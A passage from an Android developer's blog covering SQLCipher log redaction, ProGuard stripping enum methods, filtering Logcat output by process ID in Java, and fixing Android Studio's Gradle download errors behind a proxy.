<span style="font-size: x-small;">at android.view.View.performClick(View.java:4202)</span><br />
<span style="font-size: x-small;">at android.view.View$PerformClick.run(View.java:17340)</span><br />
<span style="font-size: x-small;">at android.os.Handler.handleCallback(Handler.java:725)</span><br />
<span style="font-size: x-small;">at android.os.Handler.dispatchMessage(Handler.java:92)</span><br />
<span style="font-size: x-small;">at android.os.Looper.loop(Looper.java:137)</span><br />
<span style="font-size: x-small;">at android.app.ActivityThread.main(ActivityThread.java:5039)</span><br />
<span style="font-size: x-small;">at java.lang.reflect.Method.invokeNative(Native Method)</span><br />
<span style="font-size: x-small;">at java.lang.reflect.Method.invoke(Method.java:511)</span><br />
<span style="font-size: x-small;">at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)</span><br />
<span style="font-size: x-small;">at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)</span><br />
<span style="font-size: x-small;">at dalvik.system.NativeStart.main(Native Method)</span></blockquote>
Once you upgrade, this insert constraint exception will be redacted:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;">03-29 17:30:08.558 20832-20832/info.osom.sqlciphertest E/Database? Error inserting <b>redacted values<redacted values=""></redacted></b> <redacted values=""> into users</redacted></span><br />
<span style="font-size: x-small;"> net.sqlcipher.database.SQLiteConstraintException: error code 19: columns name, email are not unique</span><br />
<span style="font-size: x-small;"> at net.sqlcipher.database.SQLiteStatement.native_execute(Native Method)</span><br />
<span style="font-size: x-small;"> at net.sqlcipher.database.SQLiteStatement.execute(SQLiteStatement.java:58)</span><br />
<span style="font-size: x-small;"> at net.sqlcipher.database.SQLiteDatabase.insertWithOnConflict(SQLiteDatabase.java:1646)</span><br />
<span style="font-size: x-small;"> at net.sqlcipher.database.SQLiteDatabase.insert(SQLiteDatabase.java:1506)</span><br />
<span style="font-size: x-small;"> at info.osom.sqlciphertest.MainActivity$PlaceholderFragment$1.onClick(MainActivity.java:75)</span><br />
<span style="font-size: x-small;"> at android.view.View.performClick(View.java:4202)</span><br />
<span style="font-size: x-small;"> at android.view.View$PerformClick.run(View.java:17340)</span><br />
<span style="font-size: x-small;"> at android.os.Handler.handleCallback(Handler.java:725)</span><br />
<span style="font-size: x-small;"> at android.os.Handler.dispatchMessage(Handler.java:92)</span><br />
<span style="font-size: x-small;"> at android.os.Looper.loop(Looper.java:137)</span><br />
<span style="font-size: x-small;"> at android.app.ActivityThread.main(ActivityThread.java:5039)</span><br />
<span style="font-size: x-small;"> at java.lang.reflect.Method.invokeNative(Native Method)</span><br />
<span style="font-size: x-small;"> at java.lang.reflect.Method.invoke(Method.java:511)</span><br />
<span style="font-size: x-small;"> at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)</span><br />
<span style="font-size: x-small;"> at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)</span><br />
<span style="font-size: x-small;"> at dalvik.system.NativeStart.main(Native Method)</span></blockquote>
<br />
Go check which version you're using and upgrade if required!Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com0tag:blogger.com,1999:blog-2077468458710225908.post-39083375868385380632014-02-10T08:20:00.000+02:002016-01-02T22:11:23.444+02:00Guarding enumeration classes from ProGuardDuring my application tests I received exception with the following call stack:<br />
<blockquote class="tr_bq">
<i><span style="font-size: x-small;">02-09 15:18:06.478 26166 26403 E TAG: Caused by: java.lang.NullPointerException<br />
02-09 15:18:06.478 26166 26403 E TAG: at java.lang.Enum$1.create(Enum.<wbr></wbr>java:43)<br />
02-09 15:18:06.478 26166 26403 E TAG: at java.lang.Enum$1.create(Enum.<wbr></wbr>java:35)<br />
02-09 15:18:06.478 26166 26403 E TAG: at libcore.util.BasicLruCache.<wbr></wbr>get(BasicLruCache.java:54)<br />
02-09 15:18:06.478 26166 26403 E TAG: at java.lang.Enum.<wbr></wbr>getSharedConstants(Enum.java:<wbr></wbr>209)<br />
02-09 15:18:06.478 26166 26403 E TAG: at java.util.EnumSet.noneOf(<wbr></wbr>EnumSet.java:48)<br />
02-09 15:18:06.478 26166 26403 E TAG: at af.a(SourceFile:115)</span></i></blockquote>
The exception occurred only in release version, while in debug everything worked fine. So I immediately suspected that ProGuard, whose processing is part of a release build, is somehow involved here.<br />
<br />
From ProGuard's documentation:<br />
<blockquote class="tr_bq">
<i>If your application, applet, servlet, library, etc., contains enumeration classes, you'll have to preserve some special methods. Enumerations were introduced in Java 5. The java compiler translates enumerations into classes with a special structure. Notably, the classes contain implementations of some static methods that the run-time environment accesses by introspection (Isn't that just grand? Introspection is the self-modifying code of a new generation). You have to specify these explicitly, to make sure they aren't removed or obfuscated: </i></blockquote>
<blockquote class="tr_bq">
<i><span style="background-color: white;"></span>-keepclassmembers,allowoptimization enum * {<br />
public static **[] values();<br />
public static ** valueOf(java.lang.String);<br />
}</i></blockquote>
OK, problem found: I just need to add this 'keepclassmembers' exception in ProGuard project configuration file.<br />
<br />
But what are <i><span style="color: #ea9999;">values()</span> </i>and <i><span style="color: #ea9999;">valueof(java.lang.String)</span> </i>needed for? I still was curious how exactly I received NullPointerException in java.lang.Enum entrails. Let's better understand it.<br />
<br />
<a name='more'></a>From the <i><span style="color: #ea9999;">Enum.create</span></i> method's <a href="https://android.googlesource.com/platform/libcore/+/kitkat-release/libdvm/src/main/java/java/lang/Enum.java" target="_blank">source</a>:<br />
<br />
<ol class="linenums" start="34" style="background-color: #eeeeee; color: grey; font-family: monospace; font-size: 11px; line-height: 12px; margin-bottom: 0px; margin-top: 0px; white-space: pre;">
<li class="L3" style="background-color: #eeeeee; background-position: initial initial; background-repeat: initial initial; list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">private</span><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">static</span><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">final</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">BasicLruCache</span><span class="pun" style="color: #666600;"><</span><span class="typ" style="color: #660066;">Class</span><span class="pun" style="color: #666600;"><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">extends</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">Enum</span><span class="pun" style="color: #666600;">>,</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">Object</span><span class="pun" style="color: #666600;">[]></span><span class="pln" style="color: black;"> sharedConstantsCache</span></span></li>
<li class="L4" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">=</span><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">new</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">BasicLruCache</span><span class="pun" style="color: #666600;"><</span><span class="typ" style="color: #660066;">Class</span><span class="pun" style="color: #666600;"><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">extends</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">Enum</span><span class="pun" style="color: #666600;">>,</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">Object</span><span class="pun" style="color: #666600;">[]>(</span><span class="lit" style="color: #006666;">64</span><span class="pun" style="color: #666600;">)</span><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">{</span><span class="pln" style="color: black;"></span></span></li>
<li class="L5" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="lit" style="color: #006666;">@Override</span><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">protected</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">Object</span><span class="pun" style="color: #666600;">[]</span><span class="pln" style="color: black;"> create</span><span class="pun" style="color: #666600;">(</span><span class="typ" style="color: #660066;">Class</span><span class="pun" style="color: #666600;"><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">extends</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">Enum</span><span class="pun" style="color: #666600;">></span><span class="pln" style="color: black;"> enumType</span><span class="pun" style="color: #666600;">)</span><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">{</span><span class="pln" style="color: black;"></span></span></li>
<li class="L6" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">if</span><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">(!</span><span class="pln" style="color: black;">enumType</span><span class="pun" style="color: #666600;">.</span><span class="pln" style="color: black;">isEnum</span><span class="pun" style="color: #666600;">())</span><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">{</span><span class="pln" style="color: black;"></span></li>
<li class="L7" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">return</span><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">null</span><span class="pun" style="color: #666600;">;</span><span class="pln" style="color: black;"></span></li>
<li class="L8" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">}</span><span class="pln" style="color: black;"></span></li>
<li class="L9" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">Method</span><span class="pln" style="color: black;"> method </span><span class="pun" style="color: #666600;">=</span><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">(</span><span class="typ" style="color: #660066;">Method</span><span class="pun" style="color: #666600;">)</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">Class</span><span class="pun" style="color: #666600;">.</span><span class="pln" style="color: black;">getDeclaredConstructorOrMethod</span><span class="pun" style="color: #666600;">(</span><span class="pln" style="color: black;"></span></li>
<li class="L0" style="list-style-type: decimal;"><span class="pln" style="color: black;"> enumType</span><span class="pun" style="color: #666600;">,</span><span class="pln" style="color: black;"> </span><span class="str" style="color: #008800;">"values"</span><span class="pun" style="color: #666600;">,</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">EmptyArray</span><span class="pun" style="color: #666600;">.</span><span class="pln" style="color: black;">CLASS</span><span class="pun" style="color: #666600;">);</span><span class="pln" style="color: black;"></span></li>
<li class="L1" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">try</span><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">{</span><span class="pln" style="color: black;"></span></li>
<li class="L2" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">return</span><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">(</span><span class="typ" style="color: #660066;">Object</span><span class="pun" style="color: #666600;">[])</span><span class="pln" style="color: black;"> method</span><span class="pun" style="color: #666600;">.</span><span class="pln" style="color: black;">invoke</span><span class="pun" style="color: #666600;">((</span><span class="typ" style="color: #660066;">Object</span><span class="pun" style="color: #666600;">[])</span><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">null</span><span class="pun" style="color: #666600;">);</span><span class="pln" style="color: black;"></span></li>
<li class="L3" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">}</span><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">catch</span><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">(</span><span class="typ" style="color: #660066;">IllegalAccessException</span><span class="pln" style="color: black;"> impossible</span><span class="pun" style="color: #666600;">)</span><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">{</span><span class="pln" style="color: black;"></span></li>
<li class="L4" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">throw</span><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">new</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">AssertionError</span><span class="pun" style="color: #666600;">();</span><span class="pln" style="color: black;"></span></li>
<li class="L5" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">}</span><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">catch</span><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">(</span><span class="typ" style="color: #660066;">InvocationTargetException</span><span class="pln" style="color: black;"> impossible</span><span class="pun" style="color: #666600;">)</span><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">{</span><span class="pln" style="color: black;"></span></li>
<li class="L6" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">throw</span><span class="pln" style="color: black;"> </span><span class="kwd" style="color: #000088;">new</span><span class="pln" style="color: black;"> </span><span class="typ" style="color: #660066;">AssertionError</span><span class="pun" style="color: #666600;">();</span><span class="pln" style="color: black;"></span></li>
<li class="L7" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">}</span><span class="pln" style="color: black;"></span></li>
<li class="L8" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">}</span><span class="pln" style="color: black;"></span></li>
<li class="L9" style="list-style-type: decimal;"><span class="pln" style="color: black;"> </span><span class="pun" style="color: #666600;">};</span></li>
</ol>
<br />
<i><span style="color: #ea9999;">Enum.create</span></i> uses reflection to retrieve a reference to <i><span style="color: #ea9999;">values </span></i>method (<i>Class.getDeclaredConstructorOrMethod</i> on line 40), but I didn't wrote such method in my Enum class definition. Actually, the <span style="color: #ea9999;"><i>values</i> </span>method is implicitly generated by the compiler. From <a href="http://docs.oracle.com/javase/tutorial/java/javaOO/enum.html" target="_blank">Oracle documentation</a>:<br />
<blockquote class="tr_bq">
<i>The compiler automatically adds some special methods when it creates an enum. For example, they have a static </i><code><i><span style="color: #ea9999;">values</span></i></code><b> </b><i>method that returns an array containing all of the values of the enum in the order they are declared.</i></blockquote>
<br />
Now I have a full picture of what happened.<br />
<br />
During its optimization phase, ProGuard removed the compiler-generated <i><span style="color: #ea9999;">values</span> </i>method from my Enum class because it didn't found any its usages in my project. All the calls to this method are done using Reflection API, of which ProGuard completely isn't aware.<br />
<br />
Later on, when my application is trying to use this Enum, <i><span style="color: #ea9999;">Enum.create</span> </i>method called, <span style="color: #ea9999;"><i>getDeclaredConstructorOrMethod</i> </span>returns null, which will cause null pointer dereference on line 43 - and this eventually triggers the NullPointerException throw.<br />
<div class="MsoNormal" style="background-color: white; color: #222222; font-family: Calibri, sans-serif; font-size: 11pt; margin: 0in 0in 0.0001pt;">
<u></u></div>
<div class="MsoNormal" style="background-color: white; color: #222222; font-family: Calibri, sans-serif; font-size: 11pt; margin: 0in 0in 0.0001pt;">
<u></u></div>
<div class="MsoNormal" style="background-color: white; color: #222222; font-family: Calibri, sans-serif; font-size: 11pt; margin: 0in 0in 0.0001pt;">
<u></u></div>
<div class="MsoNormal" style="background-color: white; color: #222222; font-family: Calibri, sans-serif; font-size: 11pt; margin: 0in 0in 0.0001pt;">
<u></u></div>
<div class="MsoNormal" style="background-color: white; color: #222222; font-family: Calibri, sans-serif; font-size: 11pt; margin: 0in 0in 0.0001pt;">
<u></u></div>
<div class="MsoNormal" style="background-color: white; color: #222222; font-family: Calibri, sans-serif; font-size: 11pt; margin: 0in 0in 0.0001pt;">
<u></u></div>
Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com5tag:blogger.com,1999:blog-2077468458710225908.post-34810064182214299822014-02-03T08:21:00.001+02:002016-12-11T11:33:03.129+02:00Programmatically filtering your application's logs from Logcat output<i><b>Note: </b> this post discusses filtering Logcat output on devices running Android prior to version 4.1. Starting from Android 4.1 applications are <a href="https://groups.google.com/d/msg/android-developers/6U4A5irWang/AvZsrTdfICIJ" target="_blank">allowed to read only their own logs</a>.</i><br />
<br />
Logcat isn't much convenient when it comes to filtering your application logs. In fact, if you look at the <a href="http://developer.android.com/tools/debugging/debugging-log.html" target="_blank">logcat documentation</a>, you will find that you can filter logcat output only by <i><span style="color: #ea9999;">priority </span></i>and/or <i><span style="color: #ea9999;">tag </span></i>fields:<br />
<blockquote class="tr_bq">
<i>A filter expression follows this format tag:priority ..., where tag indicates the tag of interest and priority indicates the minimum level of priority to report for that tag. Messages for that tag at or above the specified priority are written to the log. You can supply any number of tag:priority specifications in a single filter expression. The series of specifications is whitespace-delimited.</i></blockquote>
The <i><span style="color: #ea9999;">android.util.Log</span></i> class is your interface for printing your application logs to the Logcat system. Common print statement looks like this:<br />
<blockquote class="tr_bq">
<i>Log.e(TAG, "something bad happened");</i></blockquote>
Invoked method specifies the <i><span style="color: #ea9999;">priority </span></i>of the log record - in this example <i><span style="color: #ea9999;">e</span></i> stands for <i><span style="color: #ea9999;">error</span></i>, and TAG specifies well.. the <i><span style="color: #ea9999;">tag</span></i>.<br />
I commonly set the class name as a TAG using this statement:<br />
<blockquote class="tr_bq">
<i>private static final String TAG = ClassName.class.getCanonicalName();</i></blockquote>
Resolving the class name at run-time allows me to stay flexible and be adjusted to all the obfuscations made by Proguard processing.<br />
<br />
But here's a problem: <span style="color: #ea9999;">given a project with a hundred classes, how would you filter Logcat's output to print just your application's logs?</span><br />
<a name='more'></a>Additionally, what if you're using third-party libraries and would like to filter those logs as long as they run in context of your application?<br />
<u><br /></u>I can think of three solutions to this problem:<br />
<ol>
<li>Specify a tag:priority pair for every single class in your project as a parameters to Logcat tool.</li>
<li>Use application name as a TAG through all of your project's classes, and specify application_name:priority pair as a parameter to Logcat tool.</li>
<li>Get all the Logcat's output and manually filter the logs.</li>
</ol>
The first option is obviously impractical - you're not going to spend rest of your life tapping all those class names. Second option is possible - but you loose the ability to specify more granular per-class filters. For both of these solutions you will have to find which tags your third-party libraries use and add them as a parameters to Logcat tool.<br />
The third option can be a reasonable choice. However, it has its own drawbacks - the process ID may change once in a while (i.e. when you restart your application).<br />
<br />
And if that's not enough, all three solutions contain inherent limitation: Logcat collects the logs in a series of circular buffers, which are usually limited to a few hundreds of killobytes. On my device, for example the buffer is limited to 256kb:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>shell@android:/ $ logcat -g<br />
logcat -g<br />
/dev/log/main: ring buffer is 256Kb (255Kb consumed), max entry is 5120b, max payload is 4076b<br />
/dev/log/system: ring buffer is 256Kb (255Kb consumed), max entry is 5120b, maxpayload is 4076b</i></span></blockquote>
If you don't want to miss any important events, then on your application startup you have to create a dedicated thread that in its turn will execute a logcat process, dump its output and filter it using one of the strategies I mentioned above.<br />
<br />
Let's see how we can accomplish the third strategy - manually filter the logs by PID. From Logcat documentation:<br />
<blockquote class="tr_bq">
<i>Log messages contain a number of metadata fields, in addition to the tag and priority. You can modify the output format for messages so that they display a specific metadata field. To do so, you use the<b> </b><span style="color: #ea9999;">-v</span> option and specify one of the supported output formats listed below.</i><br />
<i>...</i><br />
<i>threadtime — Display the date, invocation time, priority, tag, and the PID and TID of the thread issuing the message.</i></blockquote>
Log messages are clearly include the process ID field, so why Logcat doesn't expose the ability to filter by this field as well? I don't know the reasons behind this decision, but if you do - please shed some light by posting in the comments section. I would really love to understand it.<br />
<br />
The implementation executes logcat command with <i><span style="color: #ea9999;">-v threadtime</span></i> parameters. Each line will include (among others) the process ID. I'm manually filtering the logcat output by the desired PID, and if matched I'm calling the <i><span style="color: #ea9999;">LogFileWriter.write</span></i> method that persists my application's log entry to a file. <i><span style="color: #ea9999;">BufferedReader </span></i>will always wait for additional logs to arrive and will never exit.<br />
Remember that this method should be called from a separate thread, and will be responsible for redirecting Logcat logs of your application to a file.<br />
<br />
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; border-image: initial; border-left-color: rgb(204, 204, 204); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: dashed; border-top-width: 1px; color: black; height: auto; overflow-x: auto; overflow-y: auto; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 99%;"><span style="font-size: 12px; line-height: 20px;">package info.osom.logs;
import android.util.Log;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public final class LogRetriever {
private static final String TAG = LogRetriever.class.getCanonicalName();
private static final String processId = Integer.toString(android.os.Process.myPid());
public static void start(){
try {
String[] command = new String[] { "logcat", "-v", "threadtime" };
Process process = Runtime.getRuntime().exec(command);
BufferedReader bufferedReader =
new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null){
if(line.contains(processId)) {
LogFileWriter.write(line);
}
}
}
catch (IOException ex) {
Log.e(TAG, "start failed", ex);
}
}
}</span><span style="color: black; font-family: "arial"; font-size: 12px; line-height: 20px;">
</span></pre>
<br />
To summarize:<br />
<ol>
<li>The Logcat buffer limit was eliminated by using a dedicated thread.</li>
<li>The filtering problem solved by manually filtering Logcat's output.</li>
</ol>
<div>
<br /></div>
<div>
<b>Things to inspect:</b> manually filtering all the Logcat's output can be costly in terms of CPU resources consumed by a dedicated thread. I will do a benchmark to test the implications of this solution, and if they will be essential enough - I will use the second strategy, which puts the burden of filtering on Logcat process.</div>
Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com6tag:blogger.com,1999:blog-2077468458710225908.post-42145704871992078042014-02-01T16:02:00.000+02:002014-02-01T16:28:08.655+02:00Solving errors in Android Studio's new project creationThe other day I upgraded my Android Studio bundle to latest stable version: android-studio-bundle-132.893413-windows.<br />
<br />
Shortly afterwards, I noticed that each time I tried to create a new project, it ended with the following error message: <br />
<blockquote>
<i>Cause: error in opening zip file. Consult IDE log for more details (Help | Show Log)</i></blockquote>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1swgFOi3DR5wnbAklO4MXvi4HiYayDTjaT6jSe-q0eaYiRsBIW8bTch7wSeHkY0TCbO4ppGQoSMWJ5vsQSEGDaPgqSKfH7Sr0maCdQLNnb4Z1qwilSZQ2cckuahO8OkAyjt6nPvkBSe4/s1600/error.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1swgFOi3DR5wnbAklO4MXvi4HiYayDTjaT6jSe-q0eaYiRsBIW8bTch7wSeHkY0TCbO4ppGQoSMWJ5vsQSEGDaPgqSKfH7Sr0maCdQLNnb4Z1qwilSZQ2cckuahO8OkAyjt6nPvkBSe4/s1600/error.png" height="136" width="320" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Hmmmm.. which error file exactly and what's wrong with it?<br />
<br />
<a name='more'></a>Let's open the log file - <b>Help > Show Log in Explorer > idea.log</b> or <b>%USERPROFILE%\.AndroidStudioPreview\system\log\idea.log</b><br />
<br />
Latest logs show the following messages:<br />
<blockquote class="tr_bq">
<i>INFO - ject.ProjectImportErrorHandler - Failed to import Gradle project at 'C:\Users\user\AndroidStudioProjects\MyApplicationProject2'<br />
org.gradle.tooling.GradleConnectionException: Could not install Gradle distribution from 'http://services.gradle.org/distributions/gradle-1.8-bin.zip'.<br />
...<br />
WARN - nal.AbstractExternalSystemTask - Cause: error in opening zip file<br />
com.intellij.openapi.externalSystem.model.ExternalSystemException: Cause: error in opening zip file<br />
...<br />
WARN - .project.GradleProjectImporter - com.intellij.openapi.externalSystem.model.ExternalSystemException: Cause: error in opening zip file<br />
...<br />
INFO - .project.GradleProjectImporter - Cause: error in opening zip file</i></blockquote>
<br />
Clearly something is wrong with Gradle plugin. Android Studio generally downloads Gradle archive in background and stores it under <b>%USERPROFILE%\.gradle\wrapper\dists\gradle-1.x-bin\hash-code\gradle-1.x-bin.zip</b>. While the archive usually weighs about 30 megabytes, my gradle-1.8-bin.zip archive was a 50 kb file.<br />
<br />
I opened the file in text editor and found that it contained the html of my proxy server's error page. It seems that Android Studio issues a get command to download the Gradle archive, and without checking the received MIME type, just blindly writes the stream to the gradle-1.x-bin.zip file. Later on, the module that responsible for new project creation tries to extract the Gradle plugin and obviously fails.<br />
<br />
To fix that issue you have two options:<br />
<ol>
<li>[Workaround] Manually download the appropriate zip file, replace the existing archive and restart Android Studio.</li>
<li>Delete the existing archive and fix your proxy settings.</li>
</ol>
<div>
<br /></div>
<div>
To fix your proxy settings, go to <b>File > Settings</b>. Click the <b>HTTP Proxy </b>option on the left pane.</div>
<div>
Select the <b>Use Proxy</b> radio button, and enter your proxy server's <b>Host name </b>and <b>Port number</b>.</div>
<div>
<br /></div>
<div>
Initially I didn't checked the <b>Proxy authentication </b>and left <b>Login </b>and <b>Password </b>fields blank. I restarted the Android Studio and received another error message (at least this time much more informative):</div>
<blockquote class="tr_bq">
<i>Could not GET 'http://repo1.maven.org/maven2/com/android/tools/build/gradle/'. Received status code 401 from server: Unauthorized<br />
Consult IDE log for more details (Help | Show Log)</i></blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCHSLeaZpQeSA80lceS0FP_jXqIE75hDsZL1MsZBqi31G78ZjdBcVQ7uQon1SWjT-JmLvJOBhxEwlb-3pFtObC5Opc6q-xMIQ_8UhBWvZzaI5u98KX8QtGi1_R64ARPqD-GiSKgv4gsB4/s1600/second_error.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCHSLeaZpQeSA80lceS0FP_jXqIE75hDsZL1MsZBqi31G78ZjdBcVQ7uQon1SWjT-JmLvJOBhxEwlb-3pFtObC5Opc6q-xMIQ_8UhBWvZzaI5u98KX8QtGi1_R64ARPqD-GiSKgv4gsB4/s1600/second_error.png" height="134" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
My proxy server requires authorization, so I eventually had to enter my credentials in <b>Login </b>and <b>Password </b>fields. Restarted the Android Studio, it succeeded to download the required Gradle archive, and I finally was able to create new project.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtKQg4NP49wdjbpPrsFnkypZ5Ep2QbM0zdett18ETf0w1KETZlsqayShinScHjTpXJVcqVuPvs0Mcqb5iRDjrtl7bwbngJU2vZpbmsxg8le7Iac_dkIY_X84BzhbMyelZgQakemucUD7o/s1600/proxy_settings_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtKQg4NP49wdjbpPrsFnkypZ5Ep2QbM0zdett18ETf0w1KETZlsqayShinScHjTpXJVcqVuPvs0Mcqb5iRDjrtl7bwbngJU2vZpbmsxg8le7Iac_dkIY_X84BzhbMyelZgQakemucUD7o/s1600/proxy_settings_2.png" height="420" width="640" /></a></div>
<br />
<br />Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com2tag:blogger.com,1999:blog-2077468458710225908.post-54201504303678640222013-07-13T17:59:00.000+03:002013-07-13T18:03:34.070+03:00Exporting Google Chrome's page load metricsGoogle Chrome offers a rich functionality as it comes to a developer productivity. Pressing F12 opens the developer tools window with eight panels of tools, allowing you to inspect DOM elements and styles, various resources (DB, cookies, appcache, local storage, etc) and network statistics; debug JavaScript code; running commands in the shell console and many more.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUzTG1OEUt1RzvElhSFZVZ5c3gi-3cey640AbnCnniiGP3veRse2RoJX-0_d6AVInuNhuuVda74fiOQSDT1pFJqEjtlAjZ4x9XNM3bKYj7zkck-PaKf75ogKfFnvCawSnimbu5Wr9TCxQ/s1600/gdt.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUzTG1OEUt1RzvElhSFZVZ5c3gi-3cey640AbnCnniiGP3veRse2RoJX-0_d6AVInuNhuuVda74fiOQSDT1pFJqEjtlAjZ4x9XNM3bKYj7zkck-PaKf75ogKfFnvCawSnimbu5Wr9TCxQ/s1600/gdt.png" height="225" width="400" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Recently, I've been experimenting with several network configurations, and wanted to log page load in order to do a benchmark later on. At the very least, I wanted to log each page load - how much time in total it took to load the page. The Network panel in developer tools provides that information for a view only (can be found in the very bottom of the page).<br />
<br />
<a name='more'></a><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgArVJQcBWO_yz-5soJFA_Eq2TRAdQTZuKYbGiVfMl-2wMB3gL0qJYQuhVX3Xc-8MCvzIXBm9nfT5RJ0UA77eFcxfP34M8rirGe77_iHoW5smRXmUkU1jXXTR5TDUTydqaw3Au9Tuyuz3A/s1600/pv3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgArVJQcBWO_yz-5soJFA_Eq2TRAdQTZuKYbGiVfMl-2wMB3gL0qJYQuhVX3Xc-8MCvzIXBm9nfT5RJ0UA77eFcxfP34M8rirGe77_iHoW5smRXmUkU1jXXTR5TDUTydqaw3Au9Tuyuz3A/s1600/pv3.png" height="184" width="640" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
